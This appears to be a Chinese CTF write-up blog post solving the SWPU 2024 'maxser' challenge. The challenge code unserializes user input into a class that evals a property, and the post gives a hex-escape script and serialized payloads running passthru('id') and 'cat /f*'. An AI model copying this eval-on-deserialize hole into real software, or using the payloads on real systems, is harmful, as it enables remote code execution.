从SWPU 2024 新生引导 maxser思考NSS2024招新maxser reverge

最近上班比较忙,抽时间做做题。

SWPU 2024 新生引导前面的几道反序列化及其他没难度,自己思考就出来了,主要看看这道题。

源码
<?php
//相信看了之前我给的h1nt,你应该大概知道这题该怎么做了,说真的,这道题很难,即使在给了提示的情况下,也不容易做出来,如果你能把它给拿下,说明你真是一个聪明的小hacker,已经具备自主学习的能力。
//当然,没做出来也没关系,这是一个严重超过你目前水平的题目,做不出来才是正常的,出这道题主要是看看你的极限在哪里,如果最后历经千辛万苦终于做出来了,你一定会高兴得飞起来吧。
//最后,除了我给提示的那一种解法,目前还有另外两种解法。至于是什么,就等聪明的你来慢慢探索吧,当然,如果你能想出更多, 大神,带带我吧,我是个笨damn。
//来点燃歌吧,Call of Silence(Clear Sky Remix) Avid  Ferrari  Turnin'  Light It Up
highlight_file(__FILE__);
error_reporting(0);
include('check.php');//这里面是一个检测passthru->S属性的正则,大概意思就是这个属性不能含有字母,只能是数字或者符号之类的,那我们该如何拿到fLag呢?
class passthru{
    public $S;
    public $dir;
    public function __destruct(){
        
        eval($this->S);
    }
}
$a=$_GET['NSS'];
check($a);
unserialize($a);
在NSS平台上评论区其实供题人给了一些提示,环境可能还是有些问题(过滤没起作用),不耽误我们做这道题。 题目中说是对passthru属性进行了check(过滤),不能出现字母,只能是数字或者符号之类的。那要第一时间想到编码绕过等,这里选用了16进制的绕过,但是有些问题,就是16进制编码时有些字母的16进制也是存在字母的。16进制的前提是表示字符类型的s大写时,值的内容可以被当做16进制解析。也就是例如O:8:"passthru":2:{s:1:"S";s:10:"phpinfo();";s:3:"dir";N;}中s:10:"phpinfo();";的s大写就可以。

可以看到大小写的j到o的16进制时存在字母的,急转弯吧,可以发现passthru中每个字母的16进制不存在字母,写脚本来生成payload:

脚本
import string
a = "passthru('id')"
end=''
b = string.ascii_lowercase+string.ascii_uppercase
for i in a:
    if i in b:
        end+="\\"+hex(ord(i))[2:]
    else:
        end+=i
print(end)
“O:8:"passthru":2:{s:1:"S";s:15:"\70\61\73\73\74\68\72\75('\69\64');";s:3:"dir";N;}
O:8:"passthru":2:{s:1:"S";s:15:"passthru('id');";s:3:"dir";N;}
”

payload执行试试看。

可以发现执行成功了,接下来直接读取flag,注意生成后的编码不能有字母。
最终payload: passthru('cat /f*');

这题看评论有非预期,我只做出了预期解,非预期为引用绕过,但是我试了就没成功。接下来招新的maxser reverge就不用多说了吧。祝大家竞赛开心啦。如果这算泄露wp的话评论我及时删除。

posted @ 2024-10-12 18:01  jockerliu  阅读(224)  评论(0编辑  收藏  举报